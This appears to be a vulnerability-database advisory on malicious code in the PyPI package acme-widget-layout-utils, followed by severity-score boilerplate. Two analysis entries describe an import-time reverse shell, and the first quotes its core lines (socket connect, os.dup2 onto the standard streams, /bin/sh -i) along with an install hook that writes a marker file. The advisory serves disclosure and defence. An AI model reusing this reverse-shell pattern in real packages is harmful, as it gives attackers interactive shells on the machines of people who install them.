Vulnerability
Malicious code in acme-widget-layout-utils (PyPI)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ff800752007d4e55ddc8172e04c8d75ac04d61b499cc58d97f016cd34d70d6c4) On import, src/acme_widget_layout_utils/__init__.py executes a textbook reverse-shell pattern: it opens a TCP socket, duplicates the socket file descriptor onto stdin/stdout/stderr via os.dup2, and execs `/bin/sh -i` (lines 11-16: `_sock.connect(("127.0.0.1", 1)); os.dup2(_sock.fileno(), 0);...; subprocess.call(["/bin/sh", "-i"])`). The hardcoded destination 127.0.0.1:1 is intentionally unreachable in a default environment, but the code is a fully functional reverse shell — any environment that has a listener on that endpoint, that proxies loopback, or that is patched to redirect the connection receives an interactive shell with the importing process's privileges. The package additionally writes a marker file `/tmp/pypi_install_hook_marker.txt` from a custom setup.py install cmdclass during `pip install`, and the package is published under a generic `widget-layout-utils` name despite its pyproject description acknowledging it is a 'pipeline hook probe' with no advertised utility. The name/purpose mismatch increases the risk of accidental installation. Shipping live reverse-shell code on public PyPI under a benign name is unsafe regardless of the author's stated 'security probe' intent. ## Source: kam193 (643a7c935e2bb063cea8baf36f13bca89572d1febbf0efdb05812ee09ddde4d8) During import, the package starts a reverse shell. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-06-acme-widget-layout-utils Reasons (based on the campaign): - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.
No CVSS base score from NVD or GHSA yet. NVD typically scores within 24–72 hours of publication; GHSA usually within a day for OSS-flagged CVEs. Last record update .
For interim severity, fall back on KEV / EXPLOIT signals and the EPSS percentile (lower panel). Re-check this CVE after one cron tick — the score lands automatically when the source publishes.
FIRST.org publishes EPSS daily. Coverage isn't universal — pre-disclosure CVEs and reserved IDs don't carry an EPSS score until at least one exploitation signal lands. Score will appear within 24 hours of the next EPSS pull.
No exploitation, limited impact or prevalence